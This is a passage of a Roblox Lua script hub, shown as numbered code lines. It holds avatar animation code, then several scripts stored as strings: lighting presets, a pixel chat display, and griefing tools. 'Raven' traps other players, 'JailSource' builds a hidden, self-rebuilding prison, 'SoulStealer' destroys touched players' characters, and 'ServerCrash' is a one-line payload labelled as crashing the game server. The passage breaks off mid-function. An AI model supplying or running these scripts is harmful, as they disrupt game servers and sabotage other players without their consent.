| 4529 | if Energy == 100 then Regening = false end | |
| 4530 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
| 4531 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
| 4532 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
| 4533 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(20)) | |
| 4534 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-20)) | |
| 4535 | neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0) | |
| 4536 | elseif FireBall == true then | |
| 4537 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
| 4538 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
| 4539 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
| 4540 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10)) | |
| 4541 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10)) | |
| 4542 | neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0) | |
| 4543 | elseif Spikes == true then | |
| 4544 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
| 4545 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
| 4546 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
| 4547 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10)) | |
| 4548 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10)) | |
| 4549 | neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0) | |
| 4550 | elseif Lightning == true then | |
| 4551 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
| 4552 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
| 4553 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
| 4554 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10)) | |
| 4555 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10)) | |
| 4556 | neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0) | |
| 4557 | elseif ManaExplosion == true then | |
| 4558 | coroutine.wrap(function() | |
| 4559 | for i = 0,360 do | |
| 4560 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
| 4561 | wait() | |
| 4562 | end | |
| 4563 | end)() | |
| 4564 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
| 4565 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
| 4566 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10)) | |
| 4567 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10)) | |
| 4568 | neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0) | |
| 4569 | else | |
| 4570 | countspeed = 0.70-- this judges how fast idle animation goes | |
| 4571 | rlegm.C0 = rlc0 * CFrame.Angles(0, 0, 0) --right leg | |
| 4572 | llegm.C0 = llc0 * CFrame.Angles(0, 0, -0) --left leg | |
| 4573 | lm.C0 = lsc0 * CFrame.Angles(-angle*0.050, 0, 0) --left arm | |
| 4574 | if Equipped == false then | |
| 4575 | rm.C0 = rsc0 * CFrame.Angles(angle*0.050, 0, 0) --right arm | |
| 4576 | else | |
| 4577 | rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0) | |
| 4578 | end | |
| 4579 | neck.C0 = neckc0 * CFrame.Angles(-angle*0.025, 0, 0) --head | |
| 4580 | rj.C0 = rootc0 * CFrame.Angles(-math.rad(1), 0, 0) --torso | |
| 4581 | end | |
| 4582 | elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude > 2 then-- walk | |
| 4583 | countspeed = 8-- this judges how fast the walk animation goes | |
| 4584 | rlegm.C0 = rlc0 * CFrame.Angles(-angle*0.100, 0, 0) | |
| 4585 | llegm.C0 = llc0 * CFrame.Angles(angle*0.100, 0, 0) | |
| 4586 | neck.C0 = neckc0 * CFrame.Angles(0, 0, 0) | |
| 4587 | lm.C0 = lsc0 * CFrame.Angles(-angle*0.100, 0, 0) | |
| 4588 | if Equipped == false then | |
| 4589 | rm.C0 = rsc0 * CFrame.Angles(angle*0.100, 0, 0) | |
| 4590 | else | |
| 4591 | rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0) | |
| 4592 | end | |
| 4593 | rj.C0 = rootc0 * CFrame.Angles(0, 0, 0) | |
| 4594 | end | |
| 4595 | end | |
| 4596 | end)() | |
| 4597 | ]] | |
| 4598 | Raven = [[ | |
| 4599 | local fp = Instance.new("Part", game:GetService("Players").LocalPlayer.Character)
| |
| 4600 | fp.Anchored = true | |
| 4601 | fp.Size = Vector3.new(10, 3, 25) | |
| 4602 | game:GetService("Players").LocalPlayer.Character.Humanoid.WalkSpeed = 32
| |
| 4603 | ||
| 4604 | local players = {}
| |
| 4605 | ||
| 4606 | local fpm = Instance.new("SpecialMesh", fp)
| |
| 4607 | fpm.MeshId = "http://www.roblox.com/asset/?id=20925363" | |
| 4608 | fpm.TextureId = "http://www.roblox.com/asset/?id=20925361" | |
| 4609 | fpm.Scale = Vector3.new(10, 10, 10) | |
| 4610 | fpm.VertexColor = Vector3.new(1, 0, 0) | |
| 4611 | ||
| 4612 | fp.Touched:connect(function(part) | |
| 4613 | pcall(function() | |
| 4614 | table.insert(players, part.Parent:findFirstChild("Torso"))
| |
| 4615 | part.Parent:findFirstChild("Torso").Anchored = true
| |
| 4616 | part.Parent:findFirstChild("Humanoid").WalkSpeed = 0
| |
| 4617 | end) | |
| 4618 | end) | |
| 4619 | ||
| 4620 | while wait() do | |
| 4621 | fp.CFrame = CFrame.new(game:GetService("Players").LocalPlayer.Character.Torso.CFrame.x, game:GetService("Players").LocalPlayer.Character.Torso.CFrame.y - 5, game:GetService("Players").LocalPlayer.Character.Torso.CFrame.z) * CFrame.Angles(game:GetService("Players").LocalPlayer.Character.Torso.CFrame:toEulerAnglesXYZ())
| |
| 4622 | fp.Position = fp.CFrame.p | |
| 4623 | for i, v in pairs(players) do | |
| 4624 | v.CFrame = fp.CFrame * CFrame.new(0, 3, 2) | |
| 4625 | end | |
| 4626 | end ]] | |
| 4627 | JailSource = [[ wait(0) | |
| 4628 | script.Parent = nil | |
| 4629 | ||
| 4630 | local LP = game:GetService("Players").LocalPlayer
| |
| 4631 | Middle2 = nil | |
| 4632 | Middle = nil | |
| 4633 | game:GetService("Workspace").CurrentCamera:ClearAllChildren()
| |
| 4634 | ||
| 4635 | Cons = {}
| |
| 4636 | ||
| 4637 | function makePrison() | |
| 4638 | for _,v in pairs(Cons) do | |
| 4639 | v:disconnect() | |
| 4640 | end | |
| 4641 | game:GetService("Workspace").CurrentCamera:ClearAllChildren()
| |
| 4642 | if Middle == nil then | |
| 4643 | Middle2 = LP.Character.Torso.Position | |
| 4644 | Middle = LP.Character.Torso.CFrame | |
| 4645 | end | |
| 4646 | local side1 = Instance.new("Part")
| |
| 4647 | side1.Name = "¬Focus1¬" | |
| 4648 | side1.Size = Vector3.new(20, 50, 1) | |
| 4649 | side1.CFrame = Middle * CFrame.new(0, 0, -10) | |
| 4650 | side1.BrickColor = BrickColor.new("Really black")
| |
| 4651 | side1.CanCollide = true | |
| 4652 | side1.Anchored = true | |
| 4653 | side1.TopSurface = "Smooth" | |
| 4654 | side1.BottomSurface = "Smooth" | |
| 4655 | side1.Parent = game:GetService("Workspace").CurrentCamera
| |
| 4656 | ||
| 4657 | local side2 = Instance.new("Part")
| |
| 4658 | side2.Name = "¬Focus2¬" | |
| 4659 | side2.Size = Vector3.new(20, 50, 1) | |
| 4660 | side2.CFrame = Middle * CFrame.new(0, 0, 10) | |
| 4661 | side2.BrickColor = BrickColor.new("Really black")
| |
| 4662 | side2.CanCollide = true | |
| 4663 | side2.Anchored = true | |
| 4664 | side2.TopSurface = "Smooth" | |
| 4665 | side2.BottomSurface = "Smooth" | |
| 4666 | side2.Parent = game:GetService("Workspace").CurrentCamera
| |
| 4667 | ||
| 4668 | local side3 = Instance.new("Part")
| |
| 4669 | side3.Name = "¬Focus3¬" | |
| 4670 | side3.Size = Vector3.new(1, 50, 20) | |
| 4671 | side3.CFrame = Middle * CFrame.new(10, 0, 0) | |
| 4672 | side3.BrickColor = BrickColor.new("Really black")
| |
| 4673 | side3.CanCollide = true | |
| 4674 | side3.Anchored = true | |
| 4675 | side3.TopSurface = "Smooth" | |
| 4676 | side3.BottomSurface = "Smooth" | |
| 4677 | side3.Parent = game:GetService("Workspace").CurrentCamera
| |
| 4678 | ||
| 4679 | local side4 = Instance.new("Part")
| |
| 4680 | side4.Name = "¬Focus4¬" | |
| 4681 | side4.Size = Vector3.new(1, 50, 20) | |
| 4682 | side4.CFrame = Middle * CFrame.new(-10, 0, 0) | |
| 4683 | side4.BrickColor = BrickColor.new("Really black")
| |
| 4684 | side4.CanCollide = true | |
| 4685 | side4.Anchored = true | |
| 4686 | side4.TopSurface = "Smooth" | |
| 4687 | side4.BottomSurface = "Smooth" | |
| 4688 | side4.Parent = game:GetService("Workspace").CurrentCamera
| |
| 4689 | ||
| 4690 | local side5 = Instance.new("Part")
| |
| 4691 | side5.Name = "¬Focus5¬" | |
| 4692 | side5.Size = Vector3.new(20, 1, 20) | |
| 4693 | side5.CFrame = Middle * CFrame.new(0, -3.5, 0) | |
| 4694 | side5.BrickColor = BrickColor.new("Really black")
| |
| 4695 | side5.CanCollide = true | |
| 4696 | side5.Anchored = true | |
| 4697 | side5.TopSurface = "Smooth" | |
| 4698 | side5.BottomSurface = "Smooth" | |
| 4699 | side5.Parent = game:GetService("Workspace").CurrentCamera
| |
| 4700 | ||
| 4701 | wait(0) | |
| 4702 | ||
| 4703 | table.insert(Cons, side1.Changed:connect(makePrison)) | |
| 4704 | table.insert(Cons, side2.Changed:connect(makePrison)) | |
| 4705 | table.insert(Cons, side3.Changed:connect(makePrison)) | |
| 4706 | table.insert(Cons, side4.Changed:connect(makePrison)) | |
| 4707 | table.insert(Cons, side5.Changed:connect(makePrison)) | |
| 4708 | end | |
| 4709 | ||
| 4710 | Delay(0, function() | |
| 4711 | while wait(0) do | |
| 4712 | ypcall(function() | |
| 4713 | if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
| |
| 4714 | LP.Character:BreakJoints() | |
| 4715 | elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
| |
| 4716 | makePrison() | |
| 4717 | end | |
| 4718 | end) | |
| 4719 | ypcall(function() | |
| 4720 | if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then | |
| 4721 | LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
| |
| 4722 | end | |
| 4723 | end) | |
| 4724 | end | |
| 4725 | end) | |
| 4726 | if not workspace.CurrentCamera:findFirstChild("Hint") then
| |
| 4727 | local mes = Instance.new("Hint", workspace.CurrentCamera)
| |
| 4728 | mes.Text = string.gsub("Now,Perish before you.","","\5")
| |
| 4729 | end | |
| 4730 | ]] | |
| 4731 | ||
| 4732 | Day = [[game:service'Lighting'.TimeOfDay = 14 | |
| 4733 | game:service'Lighting'.OutdoorAmbient = Color3.new(128/255, 128/255, 128/255) | |
| 4734 | game:service'Lighting'.Brightness = 1 | |
| 4735 | game:service'Lighting'.Ambient = Color3.new() | |
| 4736 | game:service'Lighting'.GlobalShadows = true | |
| 4737 | game:service'Lighting'.GeographicLatitude = 41.733 | |
| 4738 | game:service'Lighting'.FogEnd = 100000 | |
| 4739 | game:service'Lighting'.FogColor = Color3.new(192/255, 192/255, 192/255) | |
| 4740 | game:service'Lighting'.ShadowColor = Color3.new(179/255, 179/255, 184/255)]] | |
| 4741 | Morning = [[game:service'Lighting'.TimeOfDay = 7 | |
| 4742 | game:service'Lighting'.OutdoorAmbient = Color3.new(128/255, 128/255, 128/255) | |
| 4743 | game:service'Lighting'.Brightness = 1 | |
| 4744 | game:service'Lighting'.Ambient = Color3.new() | |
| 4745 | game:service'Lighting'.GlobalShadows = true | |
| 4746 | game:service'Lighting'.GeographicLatitude = 41.733 | |
| 4747 | game:service'Lighting'.FogEnd = 100000 | |
| 4748 | game:service'Lighting'.FogColor = Color3.new(192/255, 192/255, 192/255) | |
| 4749 | game:service'Lighting'.ShadowColor = Color3.new(179/255, 179/255, 184/255)]] | |
| 4750 | Night = [[game:service'Lighting'.TimeOfDay = 0 | |
| 4751 | game:service'Lighting'.OutdoorAmbient = Color3.new(0.1, 0.1, 0.15) | |
| 4752 | game:service'Lighting'.Brightness = 1 | |
| 4753 | game:service'Lighting'.Ambient = Color3.new() | |
| 4754 | game:service'Lighting'.GlobalShadows = true | |
| 4755 | game:service'Lighting'.GeographicLatitude = 41.733 | |
| 4756 | game:service'Lighting'.FogEnd = 100000 | |
| 4757 | game:service'Lighting'.FogColor = Color3.new() | |
| 4758 | game:service'Lighting'.ShadowColor = Color3.new(179/255, 179/255, 184/255)]] | |
| 4759 | ServerCrash = [[Instance.new("ManualSurfaceJointInstance", game.Workspace)
| |
| 4760 | ]] | |
| 4761 | PixelChatSource = [[ | |
| 4762 | wait(0.001) | |
| 4763 | script:ClearAllChildren(); | |
| 4764 | script.Parent=nil; | |
| 4765 | wait(1) | |
| 4766 | LocalPlayer = game:service'Players'.LocalPlayer | |
| 4767 | Letters = {"00000000000000000000000000000000000","01000010000100001000010000000001000","10100101000000000000000000000000000","00000010101111101010111110101000000","00100111111010011111001011111100100","00000000001100111010001000101110011","00100010100101001010011011001001101","00100001000000000000000000000000000","00010001000100001000010000010000010","01000001000001000010000100010001000","00100011100010000000000000000000000","00000001000010011111001000010000000","00000000000000000000110001100001000","00000000000000000000011100000000000","00000000000000000000000001100011000","00000000100001000100001000100001000","01110100011001110101110011000101110","00100011000010000100001000010011111","01110100010000100110010001000111111","01110100010000100110000011000101110","00011001010100110001111110000100001","11111100001111000001000011000101110","00110010001000011110100011000101110","11111100010000100010001000010000100","01110100011000101110100011000101110","01110100011000101111000010001001100","00000000000110001100000000110001100","00000011000110000000011000110000100","00010001000100010000010000010000010","00000000001111100000111110000000000","01000001000001000001000100010001000","01110100010000100010001000000000100","01110100011011110101101111000001111","01110100011111110001100011000110001","11110100011111010001100011000111110","01110100011000010000100001000101110","11110100011000110001100011000111110","11111100001110010000100001000011111","11111100001110010000100001000010000","01111100001001110001100011000101110","10001100011111110001100011000110001","01110001000010000100001000010001110","00001000010000100001000011000101110","10010101001100011000101001001010010","10000100001000010000100001000011111","10001110111010110001100011000110001","10001110011010110011100011000110001","01110100011000110001100011000101110","11110100011111010000101001000010000","01110100011000110001100011001001101","11110100011111010001100011000110001","01111100000111000001000011000101110","11111001000010000100001000010000100","10001100011000110001100011000101110","10001100011000110001010100101000100","10001100011000110001101011101110001","10001010100010001010100011000110001","10001010100010000100001000010000100","11111000010001000100010001000011111","01110010000100001000010000100001110","00000010000100000100001000001000010","01110000100001000010000100001001110","00000001000101000000000000000000000","00000000000000000000000000000011111","01000001000000000000000000000000000","00000000000111000001011111000101111","10000100001011011001100011000111110","00000000000111010001100001000101110","00001000010110110011100011000101111","00000000000111010001111111000001111","00011001000111100100001000010000100","00000000000111110001011110000111110","10000100001011011001100011000110001","00100000000010000100001000010000100","00001000000000100001100011000101110","10000100001001010100110001010010010","00100001000010000100001000010000010","00000000001101010101101011000110001","00000000001111010001100011000110001","00000000000111010001100011000101110","00000000001011011001111101000010000","00000000000110110011011110000100001","00000000001011011001100001000010000","00000000000111110000011100000111110","00100001000111000100001000010000010","00000000001000110001100011000101111","00000000001000110001100010101000100","00000000001000110001101011010101111","00000000001000101010001000101010001","00000000001000110001011110000111110","00000000001111100010001000100011111","00010001000010001000001000010000010","10000100001000010000100001000010000","01000001000010000010001000010001000","00000000000000000010101010100000000"}
| |
| 4768 | DeModel = Instance.new("BillboardGui", workspace:findFirstChild(LocalPlayer.Name))
| |
| 4769 | DeModel.StudsOffset = Vector3.new(0,2.5,0) | |
| 4770 | DeModel.Name = ":D" | |
| 4771 | FR = Instance.new("Frame",DeModel)
| |
| 4772 | FR.Size=UDim2.new(1,0,1,0) | |
| 4773 | FR.BackgroundColor3=BrickColor.new("Institutional white").Color
| |
| 4774 | FR.BorderSizePixel=0 | |
| 4775 | FR.ZIndex=2 | |
| 4776 | CurrParent = workspace:findFirstChild(LocalPlayer.Name).Head | |
| 4777 | game:service'RunService'.RenderStepped:connect(function() | |
| 4778 | pcall(function() | |
| 4779 | local a = workspace:findFirstChild(LocalPlayer.Name) | |
| 4780 | if a.ClassName == 'Part' then | |
| 4781 | CurrParent = a | |
| 4782 | else | |
| 4783 | CurrParent = a:findFirstChild'Head' | |
| 4784 | end | |
| 4785 | end) | |
| 4786 | if DeModel.Parent ~= CurrParent or DeModel == nil or FR.Parent ~= DeModel or FR == nil then | |
| 4787 | pcall(function() | |
| 4788 | if CurrParent.ClassName == 'Part' then | |
| 4789 | DeModel = Instance.new("BillboardGui", CurrParent)
| |
| 4790 | DeModel.Adornee = CurrParent | |
| 4791 | DeModel.StudsOffset = Vector3.new(0,2.5,0) | |
| 4792 | DeModel.Name = ":D" | |
| 4793 | FR = Instance.new("Frame",DeModel)
| |
| 4794 | FR.Size=UDim2.new(1,0,1,0) | |
| 4795 | FR.BackgroundColor3=BrickColor.new("Institutional white").Color
| |
| 4796 | FR.BorderSizePixel=0 | |
| 4797 | FR.ZIndex=2 | |
| 4798 | end | |
| 4799 | end) | |
| 4800 | end | |
| 4801 | end) | |
| 4802 | function CreateLetter(what, pos, posy, cl) | |
| 4803 | pcall(function() | |
| 4804 | if cl == nil then cl = "Really black" end | |
| 4805 | if Letters[what:byte()-31] then | |
| 4806 | what = Letters[what:byte()-31] | |
| 4807 | else | |
| 4808 | what = Letters[1] | |
| 4809 | end | |
| 4810 | if type(what) ~= "string" then return end | |
| 4811 | what = what:gsub('\n','')
| |
| 4812 | what = what:gsub('\t','')
| |
| 4813 | what = what:gsub(' ','')
| |
| 4814 | pos = pos * 2 | |
| 4815 | posy = posy * 2 | |
| 4816 | c = 0 | |
| 4817 | for y=1,7 do | |
| 4818 | for x=1,5 do | |
| 4819 | c = c + 1 | |
| 4820 | if what:sub(c, c) == "1" then | |
| 4821 | local a = Instance.new("Frame", FR)
| |
| 4822 | a.Name = "L" | |
| 4823 | a.ZIndex=3 | |
| 4824 | a.Size = UDim2.new(0,2,0,2) | |
| 4825 | a.BorderSizePixel = 0 | |
| 4826 | a.BackgroundTransparency = 1 | |
| 4827 | a.BackgroundColor3 = BrickColor.new(cl).Color | |
| 4828 | a.Position = UDim2.new(0,((x+1)*2)+pos,0,(y*2)+posy) | |
| 4829 | coroutine.wrap(function() | |
| 4830 | wait(math.random(1, 10)/50) | |
| 4831 | a.BackgroundTransparency = 0 | |
| 4832 | end)() | |
| 4833 | end | |
| 4834 | end | |
| 4835 | end | |
| 4836 | end) | |
| 4837 | end | |
| 4838 | LocalPlayer.Chatted:connect(function(m) | |
| 4839 | pcall(function() | |
| 4840 | local cl = "Really black" | |
| 4841 | for _,v in pairs(DeModel.Frame:children()) do | |
| 4842 | v:Destroy() | |
| 4843 | end | |
| 4844 | if m:sub(1,2) == '/e' then return end | |
| 4845 | if m:sub(1,3) == "/! " then | |
| 4846 | m = m:sub(4) | |
| 4847 | DeModel.Frame.BackgroundColor3 = BrickColor.new("Really black").Color
| |
| 4848 | cl = "Really red" | |
| 4849 | else | |
| 4850 | DeModel.Frame.BackgroundColor3 = BrickColor.new("Institutional white").Color
| |
| 4851 | end | |
| 4852 | m1 = m:gsub("\n"," ")
| |
| 4853 | m1 = m1:gsub("\t"," ")
| |
| 4854 | m1 = m1:gsub("math.pi",tostring(math.pi))
| |
| 4855 | if #m1 <= 30 then | |
| 4856 | DeModel.Size = UDim2.new(0,(30+(#m1*10)),0,20) | |
| 4857 | elseif #m1 <= 60 then | |
| 4858 | DeModel.Size = UDim2.new(0,330,0,40) | |
| 4859 | elseif #m1 <= 90 then | |
| 4860 | DeModel.Size = UDim2.new(0,330,0,60) | |
| 4861 | elseif #m1 > 90 then | |
| 4862 | DeModel.Size = UDim2.new(0,340,0,60) | |
| 4863 | m1 = m1:sub(1,90).."..." | |
| 4864 | end | |
| 4865 | coroutine.wrap(function() | |
| 4866 | for i = 1,0,-1/#m1 do | |
| 4867 | DeModel.Frame.Transparency = i | |
| 4868 | wait(1/60) | |
| 4869 | end | |
| 4870 | end)() | |
| 4871 | if #m1 < 30 then | |
| 4872 | for i = 1,#m1 do | |
| 4873 | CreateLetter(m1:sub(i,i),i*5,0,cl) | |
| 4874 | wait(1/60) | |
| 4875 | end | |
| 4876 | elseif #m1 <= 60 then | |
| 4877 | for i = 1,30 do | |
| 4878 | CreateLetter(m1:sub(i,i),i*5,0,cl) | |
| 4879 | wait(1/60) | |
| 4880 | end | |
| 4881 | for i = 31,#m1 do | |
| 4882 | CreateLetter(m1:sub(i,i),(i-30)*5,10,cl) | |
| 4883 | wait(1/60) | |
| 4884 | end | |
| 4885 | elseif #m1 >= 60 then | |
| 4886 | for i = 1,30 do | |
| 4887 | CreateLetter(m1:sub(i,i),i*5,0,cl) | |
| 4888 | wait(1/60) | |
| 4889 | end | |
| 4890 | for i = 31,60 do | |
| 4891 | CreateLetter(m1:sub(i,i),(i-30)*5,10,cl) | |
| 4892 | wait(1/60) | |
| 4893 | end | |
| 4894 | for i = 61,#m1 do | |
| 4895 | CreateLetter(m1:sub(i,i),(i-60)*5,20,cl) | |
| 4896 | wait(1/60) | |
| 4897 | end | |
| 4898 | end | |
| 4899 | end) | |
| 4900 | end) | |
| 4901 | ]] | |
| 4902 | SoulStealer = [[ | |
| 4903 | Instance.new("HopperBin",game.Players.LocalPlayer.Backpack).Name = "Soul Stealer"
| |
| 4904 | script.Parent = game.Players.LocalPlayer.Backpack:findFirstChild"Soul Stealer" | |
| 4905 | local char = script.Parent.Parent.Parent.Character | |
| 4906 | local humanoid = char.Humanoid | |
| 4907 | local Head = char.Head | |
| 4908 | local Torso = char.Torso | |
| 4909 | local LeftArm = char["Left Arm"] | |
| 4910 | local RightArm = char["Right Arm"] | |
| 4911 | local LeftLeg = char["Left Leg"] | |
| 4912 | local RightLeg = char["Right Leg"] | |
| 4913 | local RightHip = Torso["Right Hip"] | |
| 4914 | local LeftHip = Torso["Left Hip"] | |
| 4915 | local Neck = Torso.Neck | |
| 4916 | local RightShoulder = Torso["Right Shoulder"] | |
| 4917 | local LeftShoulder = Torso["Left Shoulder"] | |
| 4918 | local NeckC0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) | |
| 4919 | local NeckC1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) | |
| 4920 | local LeftShoulderC0 = CFrame.new(-1, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) | |
| 4921 | local LeftShoulderC1 = CFrame.new(0.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) | |
| 4922 | local RightShoulderC0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) | |
| 4923 | local RightShoulderC1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) | |
| 4924 | local LeftHipC0 = CFrame.new(-1, -1, 0, 0, 0, -1,0,1, 0, 1, 0, 0) | |
| 4925 | local LeftHipC1 = CFrame.new(-0.5,1,0,0,0,-1,0,1,0,1, 0, 0) | |
| 4926 | local RightHipC0 = CFrame.new(1,-1,0,0,0,1,0,1,0,-1,0,0) | |
| 4927 | local RightHipC1 = CFrame.new(0.5,1,0,0,0,1,0,1,0,-1,0,0) | |
| 4928 | local rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
| |
| 4929 | local rootpart = char:findFirstChild("HumanoidRootPart")
| |
| 4930 | spirit = false | |
| 4931 | Instance.new("HumanoidController", game:service'ControllerService')
| |
| 4932 | Instance.new("SkateboardController", game:service'ControllerService')
| |
| 4933 | Instance.new("VehicleController", game:service'ControllerService')
| |
| 4934 | local Colors = {"White","Really black","Lavender","Bright bluish green"}
| |
| 4935 | Head.Transparency = 0.5 | |
| 4936 | Head.Reflectance = 0.5 | |
| 4937 | Torso.Transparency = 0.5 | |
| 4938 | Torso.Reflectance = 0.5 | |
| 4939 | RightLeg.Transparency = 0.5 | |
| 4940 | RightLeg.Reflectance = 0.5 | |
| 4941 | LeftArm.Transparency = 0.5 | |
| 4942 | LeftArm.Reflectance = 0.5 | |
| 4943 | RightArm.Transparency = 0.5 | |
| 4944 | RightArm.Reflectance = 0.5 | |
| 4945 | LeftLeg.Transparency = 0.5 | |
| 4946 | LeftLeg.Reflectance = 0.5 | |
| 4947 | Head.Touched:connect(function(hit) | |
| 4948 | if hit.Parent:findFirstChild("Humanoid")then
| |
| 4949 | game:GetService("Chat"):Chat(Head,"Oh hey there.Hug?",0)
| |
| 4950 | for i,v in pairs(hit.Parent:GetChildren())do | |
| 4951 | if v:IsA"Humanoid" then | |
| 4952 | game:GetService("Chat"):Chat(Head,"I've taken your soul.",0)
| |
| 4953 | v:Destroy() | |
| 4954 | elseif v:IsA"Part" then | |
| 4955 | game:GetService("Chat"):Chat(v.Parent.Head,"AHHHHHH!!!",2)
| |
| 4956 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
| 4957 | v.RotVelocity = v.Position - v.Velocity | |
| 4958 | v:Remove() | |
| 4959 | end end end | |
| 4960 | end) | |
| 4961 | Torso.Touched:connect(function(hit) | |
| 4962 | if hit.Parent:findFirstChild("Humanoid")then
| |
| 4963 | game:GetService("Chat"):Chat(Head,"Hello sir,Want a friendly hug?",0)
| |
| 4964 | for i,v in pairs(hit.Parent:GetChildren())do | |
| 4965 | if v:IsA"Humanoid" then | |
| 4966 | game:GetService("Chat"):Chat(Head,"That was too easy.",0)
| |
| 4967 | v:Destroy() | |
| 4968 | elseif v:IsA"Part" then | |
| 4969 | game:GetService("Chat"):Chat(v.Parent.Head,"UGH!",2)
| |
| 4970 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
| 4971 | v.RotVelocity = v.Position - v.Velocity | |
| 4972 | v:Remove() | |
| 4973 | end end end | |
| 4974 | end) | |
| 4975 | RightArm.Touched:connect(function(hit) | |
| 4976 | game:GetService("Chat"):Chat(Head,"I've taken your life.",0)
| |
| 4977 | if hit.Parent:findFirstChild("Humanoid")then
| |
| 4978 | for i,v in pairs(hit.Parent:GetChildren())do | |
| 4979 | if v:IsA"Humanoid" then | |
| 4980 | game:GetService("Chat"):Chat(Head,"Now i break your bones.",0)
| |
| 4981 | v:Destroy() | |
| 4982 | elseif v:IsA"Part" then | |
| 4983 | game:GetService("Chat"):Chat(v.Parent.Head,"AH!MY BONES!",2)
| |
| 4984 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
| 4985 | v.RotVelocity = v.Position - v.Velocity | |
| 4986 | v:Remove() | |
| 4987 | end end end | |
| 4988 | end) | |
| 4989 | LeftArm.Touched:connect(function(hit) | |
| 4990 | game:GetService("Chat"):Chat(Head,"I've crushed you.",0)
| |
| 4991 | if hit.Parent:findFirstChild("Humanoid")then
| |
| 4992 | for i,v in pairs(hit.Parent:GetChildren())do | |
| 4993 | if v:IsA"Humanoid" then | |
| 4994 | game:GetService("Chat"):Chat(Head,"Ahhilated.",0)
| |
| 4995 | v:Destroy() | |
| 4996 | elseif v:IsA"Part" then | |
| 4997 | game:GetService("Chat"):Chat(v.Parent.Head,"AOUGH!",2)
| |
| 4998 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
| 4999 | v.RotVelocity = v.Position - v.Velocity | |
| 5000 | v:Remove() | |
| 5001 | end end end | |
| 5002 | end) | |
| 5003 | LeftLeg.Touched:connect(function(hit) | |
| 5004 | if hit.Parent:findFirstChild("Humanoid")then
| |
| 5005 | for i,v in pairs(hit.Parent:GetChildren())do | |
| 5006 | if v:IsA"Humanoid" then | |
| 5007 | game:GetService("Chat"):Chat(Head,"Cool.",0)
| |
| 5008 | v:Destroy() | |
| 5009 | elseif v:IsA"Part" then | |
| 5010 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
| 5011 | v.RotVelocity = v.Position - v.Velocity | |
| 5012 | v.Transparency = 0.5 | |
| 5013 | end end end | |
| 5014 | end) | |
| 5015 | RightLeg.Touched:connect(function(hit) | |
| 5016 | if hit.Parent:findFirstChild("Humanoid")then
| |
| 5017 | for i,v in pairs(hit.Parent:GetChildren())do | |
| 5018 | if v:IsA"Humanoid" then | |
| 5019 | v:Destroy() | |
| 5020 | elseif v:IsA"Part" then | |
| 5021 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
| 5022 | v.RotVelocity = v.Position - v.Velocity | |
| 5023 | v.Transparency = 0.5 | |
| 5024 | end end end | |
| 5025 | end) | |
| 5026 | humanoid.Died:connect(function() | |
